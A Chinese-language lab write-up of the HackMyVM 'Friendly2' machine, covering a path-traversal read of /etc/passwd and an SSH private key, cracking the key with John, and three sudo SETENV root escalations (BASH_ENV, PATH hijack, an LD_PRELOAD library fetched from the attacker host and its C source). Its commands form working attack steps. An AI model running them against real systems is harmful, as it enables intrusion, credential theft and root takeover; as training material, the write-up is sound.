friendly2靶机渗透

笔记于2025/12/3

本文参考多个文章,链接放在提权部分了

靶机介绍:

该靶机包含文件路径遍历漏洞,以及SETENV提权,ROT13加密

靶机IP:10.120.67.180

攻击机IP:10.120.53.100

存活扫描
复制代码
arp-scan -I eth0 10.120.53.100/17
端口扫描

发现开放SSH服务端口和WEB应用端口

复制代码
nmap -p- 10.120.67.180
WEB应用渗透测试
目录扫描
复制代码
dirb http://10.120.67.180/
信息收集

发现可以测试LFI漏洞和RFI漏洞

RFI漏洞测试

失败了

复制代码
#抓包访问 
http://10.120.67.180/tools/check_if_exist.php?doc=http://www.baidu.com
LFI漏洞测试

成功,得到用户名

复制代码
#访问/etc/passwd 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../etc/passwd

因为开放SSH服务,所以我们拿SSH服务的id_rsa密钥

复制代码
#访问 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsa
尝试登录SSH服务

发现登录失败

复制代码
chmod 600 id_rsa 
ssh gh0st@10.120.67.180 -i id_rsa
对id_rsa解密
复制代码
ssh2john id_rsa > hash.txt 
john hash.txt -w=/usr/share/wordlists/rockyou.txt 
john hash.txt --show
登录SSH服务
复制代码
ssh gh0st@10.120.67.180 -i id_rsa 
#输入密码即可连接,若输入密码扔连接失败则需要给id_rsa提供权限"chmod 600 id_rsa"后再次尝试登录
内网渗透
找到user.txt
复制代码
find / -type f -name 'user.txt' 2>/dev/null 
cat /home/gh0st/user.txt
信息收集
复制代码
sudo -l 
cat /opt/security.sh
内网提权方法1
复制代码
echo 'chmod u+s /bin/bash' > /tmp/mal.sh 
chmod +x /tmp/mal.sh 
sudo BASH_ENV=/tmp/mal.sh /opt/security.sh
内网提权方法2

hmv_friendly2

HakcMyVM/Friendly2.md at master · pencek/HakcMyVM · GitHub

复制代码
#这条是用的比较多的,可以看以上两篇博主 
cd /tmp 
echo 'chmod u+s /bin/bash' > grep 
chmod +x grep 
sudo PATH=$PWD:$PATH /opt/security.sh 
#或者下面这条,是我自己试过的也可以提权 
cd /tmp 
echo 'chmod u+s /bin/bash' > tr 
chmod +x tr 
sudo PATH=$PWD:$PATH /opt/security.sh
内网提权方法3

四分多钟的时候会介绍

hackmyvm Friendly2靶场复盘_哔哩哔哩_bilibili

具体知识点在这

Linux 权限升级 - 黑客技巧 --- Linux Privilege Escalation - HackTricks

复制代码
攻击机kali: 
vim pe.c 
#粘贴复制的代码 
gcc -fPIC -shared -o pe.so pe.c -nostartfiles 
python3 -m http.server 7777 
防守机: 
cd /tmp 
wget -o http://10.120.53.100:7777/pe.so 
sudo LD_PRELOAD=/tmp/pe.so /opt/security.sh

编译过了在编译一次可能是这样的

我这边用kali编译失败了,不知道是什么原因,然后我就放弃了

放弃之后重拾了一下知识,加了个就可以编译成功了

复制代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>  // 新增:包含setgid/setuid的声明

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

拿下!

获取root.txt
复制代码
cat /root/root.txt 
find / -name '...' 2>/dev/null 
cd /... ls -al 
cat ebbg.txt

这里的root.txt的flag是经过ROT13加密过的,而/opt/security就是解码代码,只不过加了长度限制

修改/opt/security

复制代码
#将长度限制20修改成50或者更长 
nano /opt/security

运行并输入经过ROT13加密后的flag

WEB应用源代码分析

直接接收来自用户的GET请求doc参数,无任何过滤,存在路径遍历漏洞,攻击者可以利用他读取服务器任意敏感文件

复制代码
<?php 
if(isset($_GET['doc'])) { 
$filename = $_GET['doc']; 
readfile("/var/www/html/tools/documents/" . $filename); 
} 
?>

渗透测试收获:

如果sudo -l的内容为

复制代码
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

那将有多种提权方法

ROT13加密类似凯撒加密

路径遍历漏洞经验

相关推荐
damoluomu4 天前
挑 PHP CMS 之前,先学会看它的协议
php
云水一下4 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
一隅论数智4 天前
给AI一张“业务概念地图“:本体如何从哲学走向企业智能
大数据·人工智能·经验分享·笔记·学习·学习方法·政务
XiHongShi20164 天前
STM32F407 RTC定时器例程,建议保存
stm32·单片机·学习
爱吃苹果的日记本4 天前
离散数学第六课
学习·离散数学
AI职业加油站4 天前
AI智能体应用工程师证书:政策红利下的职业新风口
大数据·运维·人工智能·学习·职场发展
深圳老胡4 天前
STM32F407 控制 L6470 步进电机驱动 —— 控制过程简介
笔记·stm32·单片机·嵌入式硬件·代码规范
龙亘川4 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
旖旎夜光4 天前
力控面试题 01.01: 判定字符是否唯一(位运算) —— 题解
c++·学习·算法·leetcode·力控